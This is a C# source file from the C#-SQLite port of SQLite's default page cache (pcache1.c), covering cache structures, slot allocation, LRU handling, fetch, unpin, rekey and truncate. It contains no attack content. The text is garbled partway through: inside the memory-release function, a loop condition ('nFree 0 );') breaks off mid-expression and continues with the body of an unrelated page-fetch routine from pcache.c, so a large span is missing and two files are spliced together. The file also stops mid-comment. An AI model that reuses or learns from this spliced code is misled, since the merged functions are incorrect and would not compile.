************************************************************************* ** ** This file implements the default page cache implementation (the ** sqlite3_pcache interface). It also contains part of the implementation ** of the SQLITE_CONFIG_PAGECACHE and sqlite3_release_memory() features. ** If the default page cache implementation is overriden, then neither of ** these two features are available. ** ** @(#) $Id: pcache1.c,v 1.19 2009/07/17 11:44:07 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //typedef struct PCache1 PCache1; //typedef struct PgHdr1 PgHdr1; //typedef struct PgFreeslot PgFreeslot; /* Pointers to structures of this type are cast and returned as ** opaque sqlite3_pcache* handles */ public class PCache1 { /* Cache configuration parameters. Page size (szPage) and the purgeable ** flag (bPurgeable) are set when the cache is created. nMax may be ** modified at any time by a call to the pcache1CacheSize() method. ** The global mutex must be held when accessing nMax. */ public int szPage; /* Size of every page in this cache */ public bool bPurgeable; /* True if pages are on backing store */ public u32 nMin; /* Minimum number of pages reserved */ public u32 nMax; /* Configured "cache_size" value */ /* Hash table of all pages. The following variables may only be accessed ** when the accessor is holding the global mutex (see pcache1EnterMutex() ** and pcache1LeaveMutex()). */ public u32 nRecyclable; /* Number of pages in the LRU list */ public u32 nPage; /* Total number of pages in apHash */ public u32 nHash; /* Number of slots in apHash[] */ public PgHdr1[] apHash; /* Hash table for fast lookup by pgno */ public u32 iMaxKey; /* Largest key seen since xTruncate() */ public void Clear() { nRecyclable = 0; nPage = 0; nHash = 0; apHash = null; iMaxKey = 0; } }; /* ** Each cache entry is represented by an instance of the following ** structure. A buffer of PgHdr1.pCache.szPage bytes is allocated ** directly before this structure in memory (see the PGHDR1_TO_PAGE() ** macro below). */ public class PgHdr1 { public u32 iKey; /* Key value (page number) */ public PgHdr1 pNext; /* Next in hash table chain */ public PCache1 pCache; /* Cache that currently owns this page */ public PgHdr1 pLruNext; /* Next in LRU list of unpinned pages */ public PgHdr1 pLruPrev; /* Previous in LRU list of unpinned pages */ public PgHdr pPgHdr = new PgHdr(); /* Pointer to Actual Page Header */ public void Clear() { this.iKey = 0; this.pNext = null; this.pCache = null; this.pPgHdr.Clear(); } }; /* ** Free slots in the allocator used to divide up the buffer provided using ** the SQLITE_CONFIG_PAGECACHE mechanism. */ //typedef struct PgFreeslot PgFreeslot; public class PgFreeslot { public PgFreeslot pNext; /* Next free slot */ public PgHdr _PgHdr; /* Next Free Header */ }; /* ** Global data for the page cache. */ public class PCacheGlobal { public sqlite3_mutex mutex; /* static mutex MUTEX_STATIC_LRU */ public int nMaxPage; /* Sum of nMaxPage for purgeable caches */ public int nMinPage; /* Sum of nMinPage for purgeable caches */ public int nCurrentPage; /* Number of purgeable pages allocated */ public PgHdr1 pLruHead, pLruTail; /* LRU list of unused clean pgs */ /* Variables related to SQLITE_CONFIG_PAGECACHE settings. */ public int szSlot; /* Size of each free slot */ public object pStart, pEnd; /* Bounds of pagecache malloc range */ public PgFreeslot pFree; /* Free page blocks */ public int isInit; /* True if initialized */ } static PCacheGlobal pcache = new PCacheGlobal(); /* ** All code in this file should access the global structure above via the ** alias "pcache1". This ensures that the WSD emulation is used when ** compiling for systems that do not support real WSD. */ //#define pcache1 (GLOBAL(struct PCacheGlobal, pcache1_g)) static PCacheGlobal pcache1 = pcache; /* ** When a PgHdr1 structure is allocated, the associated PCache1.szPage ** bytes of data are located directly before it in memory (i.e. the total ** size of the allocation is sizeof(PgHdr1)+PCache1.szPage byte). The ** PGHDR1_TO_PAGE() macro takes a pointer to a PgHdr1 structure as ** an argument and returns a pointer to the associated block of szPage ** bytes. The PAGE_TO_PGHDR1() macro does the opposite: its argument is ** a pointer to a block of szPage bytes of data and the return value is ** a pointer to the associated PgHdr1 structure. ** ** assert( PGHDR1_TO_PAGE(PAGE_TO_PGHDR1(pCache, X))==X ); */ //#define PGHDR1_TO_PAGE(p) (void*)(((char*)p) - p->pCache->szPage) static PgHdr PGHDR1_TO_PAGE( PgHdr1 p ) { return p.pPgHdr; } //#define PAGE_TO_PGHDR1(c, p) (PgHdr1*)(((char*)p) + c->szPage) static PgHdr1 PAGE_TO_PGHDR1( PCache1 c, PgHdr p ) { return p.pPgHdr1; } /* ** Macros to enter and leave the global LRU mutex. */ //#define pcache1EnterMutex() sqlite3_mutex_enter(pcache1.mutex) //#define pcache1LeaveMutex() sqlite3_mutex_leave(pcache1.mutex) static void pcache1EnterMutex() { sqlite3_mutex_enter( pcache1.mutex ); } static void pcache1LeaveMutex() { sqlite3_mutex_leave( pcache1.mutex ); } /******************************************************************************/ /******** Page Allocation/SQLITE_CONFIG_PCACHE Related Functions **************/ /* ** This function is called during initialization if a static buffer is ** supplied to use for the page-cache by passing the SQLITE_CONFIG_PAGECACHE ** verb to sqlite3_config(). Parameter pBuf points to an allocation large ** enough to contain 'n' buffers of 'sz' bytes each. */ static void sqlite3PCacheBufferSetup( object pBuf, int sz, int n ) { if ( pcache1.isInit != 0 ) { PgFreeslot p; sz = ROUNDDOWN8( sz ); pcache1.szSlot = sz; pcache1.pStart = pBuf; pcache1.pFree = null; while ( n-- != 0 ) { p = new PgFreeslot();// (PgFreeslot)pBuf; p._PgHdr = new PgHdr(); p.pNext = pcache1.pFree; pcache1.pFree = p; //pBuf = (void*)&((char*)pBuf)[sz]; } pcache1.pEnd = pBuf; } } /* ** Malloc function used within this file to allocate space from the buffer ** configured using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no ** such buffer exists or there is no space left in it, this function falls ** back to sqlite3Malloc(). */ static PgHdr pcache1Alloc( int nByte ) { PgHdr p; Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); if ( nByte <= pcache1.szSlot && pcache1.pFree != null ) { Debug.Assert( pcache1.isInit != 0 ); p = pcache1.pFree._PgHdr; p.CacheAllocated = true; pcache1.pFree = pcache1.pFree.pNext; sqlite3StatusSet( SQLITE_STATUS_PAGECACHE_SIZE, nByte ); sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, 1 ); } else { /* Allocate a new buffer using sqlite3Malloc. Before doing so, exit the ** global pcache mutex and unlock the pager-cache object pCache. This is ** so that if the attempt to allocate a new buffer causes the the ** configured soft-heap-limit to be breached, it will be possible to ** reclaim memory from this pager-cache. */ pcache1LeaveMutex(); p = new PgHdr();// p = sqlite3Malloc(nByte); p.CacheAllocated = false; pcache1EnterMutex(); // if( p !=null){ int sz = nByte;//int sz = sqlite3MallocSize(p); sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, sz ); } return p; } /* ** Free an allocated buffer obtained from pcache1Alloc(). */ static void pcache1Free( ref PgHdr p ) { Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); if ( p == null ) return; if (p.CacheAllocated) //if ( p >= pcache1.pStart && p < pcache1.pEnd ) { PgFreeslot pSlot = new PgFreeslot(); sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, -1 ); pSlot._PgHdr = p;// (PgFreeslot)p; pSlot.pNext = pcache1.pFree; pcache1.pFree = pSlot; } else { int iSize = p.pData.Length;//sqlite3MallocSize( p ); sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, -iSize ); p = null;//sqlite3_free( ref p ); } } /* ** Allocate a new page object initially associated with cache pCache. */ static PgHdr1 pcache1AllocPage( PCache1 pCache ) { //int nByte = sizeof(PgHdr1) + pCache.szPage; PgHdr pPg = pcache1Alloc( pCache.szPage ); PgHdr1 p; //if ( pPg != null ) { // PAGE_TO_PGHDR1( pCache, pPg ); p = new PgHdr1(); p.pCache = pCache; p.pPgHdr = pPg; if ( pCache.bPurgeable ) { pcache1.nCurrentPage++; } } //else //{ // p = null; //} return p; } /* ** Free a page object allocated by pcache1AllocPage(). ** ** The pointer is allowed to be NULL, which is prudent. But it turns out ** that the current implementation happens to never call this routine ** with a NULL pointer, so we mark the NULL test with ALWAYS(). */ static void pcache1FreePage( ref PgHdr1 p ) { if ( ALWAYS( p != null ) ) { if ( p.pCache.bPurgeable ) { pcache1.nCurrentPage--; } pcache1Free( ref p.pPgHdr );//PGHDR1_TO_PAGE( p ); } } /* ** Malloc function used by SQLite to obtain space from the buffer configured ** using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no such buffer ** exists, this function falls back to sqlite3Malloc(). */ static PgHdr sqlite3PageMalloc( int sz ) { PgHdr p; pcache1EnterMutex(); p = pcache1Alloc( sz ); pcache1LeaveMutex(); return p; } /* ** Free an allocated buffer obtained from sqlite3PageMalloc(). */ static void sqlite3PageFree( ref PgHdr p) { pcache1EnterMutex(); pcache1Free( ref p ); pcache1LeaveMutex(); } /******************************************************************************/ /******** General Implementation Functions ************************************/ /* ** This function is used to resize the hash table used by the cache passed ** as the first argument. ** ** The global mutex must be held when this function is called. */ static int pcache1ResizeHash( PCache1 p ) { PgHdr1[] apNew; u32 nNew; u32 i; Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); nNew = p.nHash * 2; if ( nNew < 256 ) { nNew = 256; } pcache1LeaveMutex(); if ( p.nHash != 0 ) { sqlite3BeginBenignMalloc(); } apNew = new PgHdr1[nNew];// (PgHdr1**)sqlite3_malloc( sizeof( PgHdr1* ) * nNew ); if ( p.nHash != 0 ) { sqlite3EndBenignMalloc(); } pcache1EnterMutex(); if ( apNew != null ) { //memset(apNew, 0, sizeof(PgHdr1 *)*nNew); for ( i = 0 ; i < p.nHash ; i++ ) { PgHdr1 pPage; PgHdr1 pNext = p.apHash[i]; while ( ( pPage = pNext ) != null ) { u32 h = (u32)( pPage.iKey % nNew ); pNext = pPage.pNext; pPage.pNext = apNew[h]; apNew[h] = pPage; } } //sqlite3_free( ref p.apHash ); p.apHash = apNew; p.nHash = nNew; } return ( p.apHash != null ? SQLITE_OK : SQLITE_NOMEM ); } /* ** This function is used internally to remove the page pPage from the ** global LRU list, if is part of it. If pPage is not part of the global ** LRU list, then this function is a no-op. ** ** The global mutex must be held when this function is called. */ static void pcache1PinPage( PgHdr1 pPage ) { Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); if ( pPage != null && ( pPage.pLruNext != null || pPage == pcache1.pLruTail ) ) { if ( pPage.pLruPrev != null ) { pPage.pLruPrev.pLruNext = pPage.pLruNext; } if ( pPage.pLruNext != null ) { pPage.pLruNext.pLruPrev = pPage.pLruPrev; } if ( pcache1.pLruHead == pPage ) { pcache1.pLruHead = pPage.pLruNext; } if ( pcache1.pLruTail == pPage ) { pcache1.pLruTail = pPage.pLruPrev; } pPage.pLruNext = null; pPage.pLruPrev = null; pPage.pCache.nRecyclable--; } } /* ** Remove the page supplied as an argument from the hash table ** (PCache1.apHash structure) that it is currently stored in. ** ** The global mutex must be held when this function is called. */ static void pcache1RemoveFromHash( PgHdr1 pPage ) { u32 h; PCache1 pCache = pPage.pCache; PgHdr1 pp, pPrev; h = pPage.iKey % pCache.nHash; pPrev = null; for ( pp = pCache.apHash[h] ; pp != pPage ; pPrev = pp, pp = pp.pNext ) ; if ( pPrev == null ) pCache.apHash[h] = pp.pNext; else pPrev.pNext = pp.pNext; // pCache.apHash[h] = pp.pNext; pCache.nPage--; } /* ** If there are currently more than pcache.nMaxPage pages allocated, try ** to recycle pages to reduce the number allocated to pcache.nMaxPage. */ static void pcache1EnforceMaxPage() { Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); while ( pcache1.nCurrentPage > pcache1.nMaxPage && pcache1.pLruTail != null ) { PgHdr1 p = pcache1.pLruTail; pcache1PinPage( p ); pcache1RemoveFromHash( p ); pcache1FreePage( ref p ); } } /* ** Discard all pages from cache pCache with a page number (key value) ** greater than or equal to iLimit. Any pinned pages that meet this ** criteria are unpinned before they are discarded. ** ** The global mutex must be held when this function is called. */ static void pcache1TruncateUnsafe( PCache1 pCache, u32 iLimit ) { //TESTONLY( unsigned int nPage = 0; ) /* Used to assert pCache->nPage is correct */ #if !NDEBUG || SQLITE_COVERAGE_TEST u32 nPage = 0; #endif u32 h; Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); for ( h = 0 ; h < pCache.nHash ; h++ ) { PgHdr1 pp = pCache.apHash[h]; PgHdr1 pPage; while ( ( pPage = pp ) != null ) { if ( pPage.iKey >= iLimit ) { pCache.nPage--; pp = pPage.pNext; pcache1PinPage( pPage ); if ( pCache.apHash[h] == pPage ) pCache.apHash[h] = pPage.pNext; else Debugger.Break(); pcache1FreePage( ref pPage ); } else { pp = pPage.pNext; //TESTONLY( nPage++; ) #if !NDEBUG || SQLITE_COVERAGE_TEST nPage++; #endif } } } #if !NDEBUG || SQLITE_COVERAGE_TEST Debug.Assert( pCache.nPage == nPage ); #endif } /******************************************************************************/ /******** sqlite3_pcache Methods **********************************************/ /* ** Implementation of the sqlite3_pcache.xInit method. */ static int pcache1Init( object NotUsed ) { UNUSED_PARAMETER( NotUsed ); Debug.Assert( pcache1.isInit == 0 ); pcache1 = new PCacheGlobal();// memset( &pcache1, 0, sizeof( pcache1 ) ); if ( sqlite3GlobalConfig.bCoreMutex ) { pcache1.mutex = sqlite3_mutex_alloc( SQLITE_MUTEX_STATIC_LRU ); } pcache1.isInit = 1; return SQLITE_OK; } /* ** Implementation of the sqlite3_pcache.xShutdown method. */ static void pcache1Shutdown( object NotUsed ) { UNUSED_PARAMETER( NotUsed ); Debug.Assert( pcache1.isInit != 0 ); pcache1 = new PCacheGlobal(); //memset( &pcache1, 0, sizeof( pcache1 ) ); } /* ** Implementation of the sqlite3_pcache.xCreate method. ** ** Allocate a new cache. */ static sqlite3_pcache pcache1Create( int szPage, int bPurgeable ) { PCache1 pCache; pCache = new PCache1();// (PCache1*)sqlite3_malloc( sizeof( PCache1 ) ); if ( pCache != null ) { //memset(pCache, 0, sizeof(PCache1)); pCache.szPage = szPage; pCache.bPurgeable = ( bPurgeable != 0 ); if ( bPurgeable != 0 ) { pCache.nMin = 10; pcache1EnterMutex(); pcache1.nMinPage += (int)pCache.nMin; pcache1LeaveMutex(); } } return pCache; } /* ** Implementation of the sqlite3_pcache.xCachesize method. ** ** Configure the cache_size limit for a cache. */ static void pcache1Cachesize( sqlite3_pcache p, int nMax ) { PCache1 pCache = (PCache1)p; if ( pCache.bPurgeable ) { pcache1EnterMutex(); pcache1.nMaxPage += (int)( nMax - pCache.nMax ); pCache.nMax = (u32)nMax; pcache1EnforceMaxPage(); pcache1LeaveMutex(); } } /* ** Implementation of the sqlite3_pcache.xPagecount method. */ static int pcache1Pagecount( sqlite3_pcache p ) { int n; pcache1EnterMutex(); n = (int)( (PCache1)p ).nPage; pcache1LeaveMutex(); return n; } /* ** Implementation of the sqlite3_pcache.xFetch method. ** ** Fetch a page by key value. ** ** Whether or not a new page may be allocated by this function depends on ** the value of the createFlag argument. 0 means do not allocate a new ** page. 1 means allocate a new page if space is easily available. 2 ** means to try really hard to allocate a new page. ** ** For a non-purgeable cache (a cache used as the storage for an in-memory ** database) there is really no difference between createFlag 1 and 2. So ** the calling function (pcache.c) will never have a createFlag of 1 on ** a non-purgable cache. ** ** There are three different approaches to obtaining space for a page, ** depending on the value of parameter createFlag (which may be 0, 1 or 2). ** ** 1. Regardless of the value of createFlag, the cache is searched for a ** copy of the requested page. If one is found, it is returned. ** ** 2. If createFlag==0 and the page is not already in the cache, NULL is ** returned. ** ** 3. If createFlag is 1, and the page is not already in the cache, ** and if either of the following are true, return NULL: ** ** (a) the number of pages pinned by the cache is greater than ** PCache1.nMax, or ** (b) the number of pages pinned by the cache is greater than ** the sum of nMax for all purgeable caches, less the sum of ** nMin for all other purgeable caches. ** ** 4. If none of the first three conditions apply and the cache is marked ** as purgeable, and if one of the following is true: ** ** (a) The number of pages allocated for the cache is already ** PCache1.nMax, or ** ** (b) The number of pages allocated for all purgeable caches is ** already equal to or greater than the sum of nMax for all ** purgeable caches, ** ** then attempt to recycle a page from the LRU list. If it is the right ** size, return the recycled buffer. Otherwise, free the buffer and ** proceed to step 5. ** ** 5. Otherwise, allocate and return a new page buffer. */ static PgHdr pcache1Fetch( sqlite3_pcache p, u32 iKey, int createFlag ) { u32 nPinned; PCache1 pCache = p; PgHdr1 pPage = null; Debug.Assert( pCache.bPurgeable || createFlag != 1 ); pcache1EnterMutex(); if ( createFlag == 1 ) sqlite3BeginBenignMalloc(); /* Search the hash table for an existing entry. */ if ( pCache.nHash > 0 ) { u32 h = iKey % pCache.nHash; for ( pPage = pCache.apHash[h] ; pPage != null && pPage.iKey != iKey ; pPage = pPage.pNext ) ; } if ( pPage != null || createFlag == 0 ) { pcache1PinPage( pPage ); goto fetch_out; } /* Step 3 of header comment. */ nPinned = pCache.nPage - pCache.nRecyclable; if ( createFlag == 1 && ( nPinned >= ( pcache1.nMaxPage + pCache.nMin - pcache1.nMinPage ) || nPinned >= ( pCache.nMax * 9 / 10 ) ) ) { goto fetch_out; } if ( pCache.nPage >= pCache.nHash && pcache1ResizeHash( pCache ) != 0 ) { goto fetch_out; } /* Step 4. Try to recycle a page buffer if appropriate. */ if ( pCache.bPurgeable && pcache1.pLruTail != null && ( pCache.nPage + 1 >= pCache.nMax || pcache1.nCurrentPage >= pcache1.nMaxPage ) ) { pPage = pcache1.pLruTail; pcache1RemoveFromHash( pPage ); pcache1PinPage( pPage ); if ( pPage.pCache.szPage != pCache.szPage ) { pcache1FreePage( ref pPage ); pPage = null; } else { pcache1.nCurrentPage -= ( ( pPage.pCache.bPurgeable ? 1 : 0 ) - ( pCache.bPurgeable ? 1 : 0 ) ); } } /* Step 5. If a usable page buffer has still not been found, ** attempt to allocate a new one. */ if ( null == pPage ) { pPage = pcache1AllocPage( pCache ); } if ( pPage != null ) { u32 h = iKey % pCache.nHash; pCache.nPage++; pPage.iKey = iKey; pPage.pNext = pCache.apHash[h]; pPage.pCache = pCache; pPage.pLruPrev = null; pPage.pLruNext = null; PGHDR1_TO_PAGE( pPage ).Clear();// *(void **)(PGHDR1_TO_PAGE(pPage)) = 0; pPage.pPgHdr.pPgHdr1 = pPage; pCache.apHash[h] = pPage; } fetch_out: if ( pPage != null && iKey > pCache.iMaxKey ) { pCache.iMaxKey = iKey; } if ( createFlag == 1 ) sqlite3EndBenignMalloc(); pcache1LeaveMutex(); return ( pPage != null ? PGHDR1_TO_PAGE( pPage ) : null ); } /* ** Implementation of the sqlite3_pcache.xUnpin method. ** ** Mark a page as unpinned (eligible for asynchronous recycling). */ static void pcache1Unpin( sqlite3_pcache p, PgHdr pPg, int reuseUnlikely ) { PCache1 pCache = (PCache1)p; PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg ); Debug.Assert( pPage.pCache == pCache ); pcache1EnterMutex(); /* It is an error to call this function if the page is already ** part of the global LRU list. */ Debug.Assert( pPage.pLruPrev == null && pPage.pLruNext == null ); Debug.Assert( pcache1.pLruHead != pPage && pcache1.pLruTail != pPage ); if ( reuseUnlikely != 0 || pcache1.nCurrentPage > pcache1.nMaxPage ) { pcache1RemoveFromHash( pPage ); pcache1FreePage( ref pPage ); } else { /* Add the page to the global LRU list. Normally, the page is added to ** the head of the list (last page to be recycled). However, if the ** reuseUnlikely flag passed to this function is true, the page is added ** to the tail of the list (first page to be recycled). */ if ( pcache1.pLruHead != null ) { pcache1.pLruHead.pLruPrev = pPage; pPage.pLruNext = pcache1.pLruHead; pcache1.pLruHead = pPage; } else { pcache1.pLruTail = pPage; pcache1.pLruHead = pPage; } pCache.nRecyclable++; } pcache1LeaveMutex(); } /* ** Implementation of the sqlite3_pcache.xRekey method. */ static void pcache1Rekey( sqlite3_pcache p, PgHdr pPg, u32 iOld, u32 iNew ) { PCache1 pCache = p; PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg ); PgHdr1 pp; u32 h; Debug.Assert( pPage.iKey == iOld ); Debug.Assert( pPage.pCache == pCache ); pcache1EnterMutex(); h = iOld % pCache.nHash; pp = pCache.apHash[h]; while ( pp != pPage ) { pp = pp.pNext; } if ( pp == pCache.apHash[h] ) pCache.apHash[h] = pp.pNext; else pp.pNext = pPage.pNext; h = iNew % pCache.nHash; pPage.iKey = iNew; pPage.pNext = pCache.apHash[h]; pCache.apHash[h] = pPage; /* The xRekey() interface is only used to move pages earlier in the ** database file (in order to move all free pages to the end of the ** file where they can be truncated off.) Hence, it is not possible ** for the new page number to be greater than the largest previously ** fetched page. But we retain the following test in case xRekey() ** begins to be used in different ways in the future. */ if ( NEVER( iNew > pCache.iMaxKey ) ) { pCache.iMaxKey = iNew; } pcache1LeaveMutex(); } /* ** Implementation of the sqlite3_pcache.xTruncate method. ** ** Discard all unpinned pages in the cache with a page number equal to ** or greater than parameter iLimit. Any pinned pages with a page number ** equal to or greater than iLimit are implicitly unpinned. */ static void pcache1Truncate( sqlite3_pcache p, u32 iLimit ) { PCache1 pCache = (PCache1)p; pcache1EnterMutex(); if ( iLimit <= pCache.iMaxKey ) { pcache1TruncateUnsafe( pCache, iLimit ); pCache.iMaxKey = iLimit - 1; } pcache1LeaveMutex(); } /* ** Implementation of the sqlite3_pcache.xDestroy method. ** ** Destroy a cache allocated using pcache1Create(). */ static void pcache1Destroy( ref sqlite3_pcache p ) { PCache1 pCache = p; pcache1EnterMutex(); pcache1TruncateUnsafe( pCache, 0 ); pcache1.nMaxPage -= (int)pCache.nMax; pcache1.nMinPage -= (int)pCache.nMin; pcache1EnforceMaxPage(); pcache1LeaveMutex(); //sqlite3_free( ref pCache.apHash ); //sqlite3_free( ref pCache ); } /* ** This function is called during initialization (sqlite3_initialize()) to ** install the default pluggable cache module, assuming the user has not ** already provided an alternative. */ static void sqlite3PCacheSetDefault() { sqlite3_pcache_methods defaultMethods = new sqlite3_pcache_methods( 0, /* pArg */ (dxPC_Init)pcache1Init, /* xInit */ (dxPC_Shutdown)pcache1Shutdown, /* xShutdown */ (dxPC_Create)pcache1Create, /* xCreate */ (dxPC_Cachesize)pcache1Cachesize,/* xCachesize */ (dxPC_Pagecount)pcache1Pagecount,/* xPagecount */ (dxPC_Fetch)pcache1Fetch, /* xFetch */ (dxPC_Unpin)pcache1Unpin, /* xUnpin */ (dxPC_Rekey)pcache1Rekey, /* xRekey */ (dxPC_Truncate)pcache1Truncate, /* xTruncate */ (dxPC_Destroy)pcache1Destroy /* xDestroy */ ); sqlite3_config( SQLITE_CONFIG_PCACHE, defaultMethods ); } #if SQLITE_ENABLE_MEMORY_MANAGEMENT /* ** This function is called to free superfluous dynamically allocated memory ** held by the pager system. Memory in use by any SQLite pager allocated ** by the current thread may be //sqlite3_free()ed. ** ** nReq is the number of bytes of memory required. Once this much has ** been released, the function returns. The return value is the total number ** of bytes of memory released. */ int sqlite3PcacheReleaseMemory(int nReq){ int nFree = 0; if( pcache1.pStart==0 ){ PgHdr1 p; pcache1EnterMutex(); while( (nReq<0 || nFree 0 ); /* If the pluggable cache (sqlite3_pcache*) has not been allocated, ** allocate it now. */ if ( null == pCache.pCache && createFlag != 0 ) { sqlite3_pcache p; int nByte; nByte = pCache.szPage + pCache.szExtra + 0;// sizeof( PgHdr ); p = sqlite3GlobalConfig.pcache.xCreate( nByte, pCache.bPurgeable ? 1 : 0 ); if ( null == p ) { return SQLITE_NOMEM; } sqlite3GlobalConfig.pcache.xCachesize( p, pCache.nMax ); pCache.pCache = p; } eCreate = createFlag * ( 1 + ( ( !pCache.bPurgeable || null == pCache.pDirty ) ? 1 : 0 ) ); if ( pCache.pCache != null ) { pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, eCreate ); } if ( null == pPage && eCreate == 1 ) { PgHdr pPg; /* Find a dirty page to write-out and recycle. First try to find a ** page that does not require a journal-sync (one with PGHDR_NEED_SYNC ** cleared), but if that is not possible settle for any other ** unreferenced dirty page. */ #if SQLITE_ENABLE_EXPENSIVE_ASSERT expensive_assert( pcacheCheckSynced(pCache) ); #endif for ( pPg = pCache.pSynced ; pPg != null && ( pPg.nRef != 0 || ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) ; pPg = pPg.pDirtyPrev ) ; if ( null == pPg ) { for ( pPg = pCache.pDirtyTail ; pPg != null && pPg.nRef != 0 ; pPg = pPg.pDirtyPrev ) ; } if ( pPg != null ) { int rc; rc = pCache.xStress( pCache.pStress, pPg ); if ( rc != SQLITE_OK && rc != SQLITE_BUSY ) { return rc; } } pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, 2 ); } if ( pPage != null ) { if ( null == pPage.pData ) { pPage.pData = new byte[pCache.szPage];//memset( pPage, 0, sizeof( PgHdr ) + pCache.szExtra ); //pPage.pExtra = (void*)&pPage[1]; //pPage.pData = (void*)&( (char*)pPage )[sizeof( PgHdr ) + pCache.szExtra]; pPage.pCache = pCache; pPage.pgno = pgno; } Debug.Assert( pPage.pCache == pCache ); Debug.Assert( pPage.pgno == pgno ); //Debug.Assert( pPage.pExtra == (void*)&pPage[1] ); if ( 0 == pPage.nRef ) { pCache.nRef++; } pPage.nRef++; if ( pgno == 1 ) { pCache.pPage1 = pPage; } } ppPage = pPage; return ( pPage == null && eCreate != 0 ) ? SQLITE_NOMEM : SQLITE_OK; } /* ** Decrement the reference count on a page. If the page is clean and the ** reference count drops to 0, then it is made elible for recycling. */ static void sqlite3PcacheRelease( PgHdr p ) { Debug.Assert( p.nRef > 0 ); p.nRef--; if ( p.nRef == 0 ) { PCache pCache = p.pCache; pCache.nRef--; if ( ( p.flags & PGHDR_DIRTY ) == 0 ) { pcacheUnpin( p ); } else { /* Move the page to the head of the dirty list. */ pcacheRemoveFromDirtyList( p ); pcacheAddToDirtyList( p ); } } } /* ** Increase the reference count of a supplied page by 1. */ static void sqlite3PcacheRef( PgHdr p ) { Debug.Assert( p.nRef > 0 ); p.nRef++; } /* ** Drop a page from the cache. There must be exactly one reference to the ** page. This function deletes that reference, so after it returns the ** page pointed to by p is invalid. */ static void sqlite3PcacheDrop( PgHdr p ) { PCache pCache; Debug.Assert( p.nRef == 1 ); if ( ( p.flags & PGHDR_DIRTY ) != 0 ) { pcacheRemoveFromDirtyList( p ); } pCache = p.pCache; pCache.nRef--; if ( p.pgno == 1 ) { pCache.pPage1 = null; } sqlite3GlobalConfig.pcache.xUnpin( pCache.pCache, p, 1 ); } /* ** Make sure the page is marked as dirty. If it isn't dirty already, ** make it so. */ static void sqlite3PcacheMakeDirty( PgHdr p ) { p.flags &= ~PGHDR_DONT_WRITE; Debug.Assert( p.nRef > 0 ); if ( 0 == ( p.flags & PGHDR_DIRTY ) ) { p.flags |= PGHDR_DIRTY; pcacheAddToDirtyList( p ); } } /* ** Make sure the page is marked as clean. If it isn't clean already, ** make it so. */ static void sqlite3PcacheMakeClean( PgHdr p ) { if ( ( p.flags & PGHDR_DIRTY ) != 0 ) { pcacheRemoveFromDirtyList( p ); p.flags &= ~( PGHDR_DIRTY | PGHDR_NEED_SYNC ); if ( p.nRef == 0 ) { pcacheUnpin( p ); } } } /* ** Make every page in the cache clean. */ static void sqlite3PcacheCleanAll( PCache pCache ) { PgHdr p; while ( ( p = pCache.pDirty ) != null ) { sqlite3PcacheMakeClean( p ); } } /* ** Clear the PGHDR_NEED_SYNC flag from all dirty pages. */ static void sqlite3PcacheClearSyncFlags( PCache pCache ) { PgHdr p; for ( p = pCache.pDirty ; p != null ; p = p.pDirtyNext ) { p.flags &= ~PGHDR_NEED_SYNC; } pCache.pSynced = pCache.pDirtyTail; } /* ** Change the page number of page p to newPgno. */ static void sqlite3PcacheMove( PgHdr p, Pgno newPgno ) { PCache pCache = p.pCache; Debug.Assert( p.nRef > 0 ); Debug.Assert( newPgno > 0 ); sqlite3GlobalConfig.pcache.xRekey( pCache.pCache, p, p.pgno, newPgno ); p.pgno = newPgno; if ( ( p.flags & PGHDR_DIRTY ) != 0 && ( p.flags & PGHDR_NEED_SYNC ) != 0 ) { pcacheRemoveFromDirtyList( p ); pcacheAddToDirtyList( p ); } } /* ** Drop every cache entry whose page number is greater than "pgno". The ** caller must ensure that there are no outstanding references to any pages ** other than page 1 with a page number greater than pgno. ** ** If there is a reference to page 1 and the pgno parameter passed to this ** function is 0, then the data area associated with page 1 is zeroed, but ** the page object is not dropped. */ static void sqlite3PcacheTruncate( PCache pCache, u32 pgno ) { if ( pCache.pCache != null ) { PgHdr p; PgHdr pNext; for ( p = pCache.pDirty ; p != null ; p = pNext ) { pNext = p.pDirtyNext; if ( p.pgno > pgno ) { Debug.Assert( ( p.flags & PGHDR_DIRTY ) != 0 ); sqlite3PcacheMakeClean( p ); } } if ( pgno == 0 && pCache.pPage1 != null ) { pCache.pPage1.pData = new byte[pCache.szPage];// memset( pCache.pPage1.pData, 0, pCache.szPage ); pgno = 1; } sqlite3GlobalConfig.pcache.xTruncate( pCache.pCache, pgno + 1 ); } } /* ** Close a cache. */ static void sqlite3PcacheClose( PCache pCache ) { if ( pCache.pCache != null ) { sqlite3GlobalConfig.pcache.xDestroy( ref pCache.pCache ); } } /* ** Discard the contents of the cache. */ static void sqlite3PcacheClear( PCache pCache ) { sqlite3PcacheTruncate( pCache, 0 ); } /* ** Merge two lists of pages connected by pDirty and in pgno order. ** Do not both fixing the pDirtyPrev pointers. */ static PgHdr pcacheMergeDirtyList( PgHdr pA, PgHdr pB ) { PgHdr result = new PgHdr(); PgHdr pTail = result; while ( pA != null && pB != null ) { if ( pA.pgno < pB.pgno ) { pTail.pDirty = pA; pTail = pA; pA = pA.pDirty; } else { pTail.pDirty = pB; pTail = pB; pB = pB.pDirty; } } if ( pA != null ) { pTail.pDirty = pA; } else if ( pB != null ) { pTail.pDirty = pB; } else { pTail.pDirty = null; } return result.pDirty; } /* ** Sort the list of pages in accending order by pgno. Pages are ** connected by pDirty pointers. The pDirtyPrev pointers are ** corrupted by this sort. ** ** Since there cannot be more than 2^31 distinct pages in a database, ** there cannot be more than 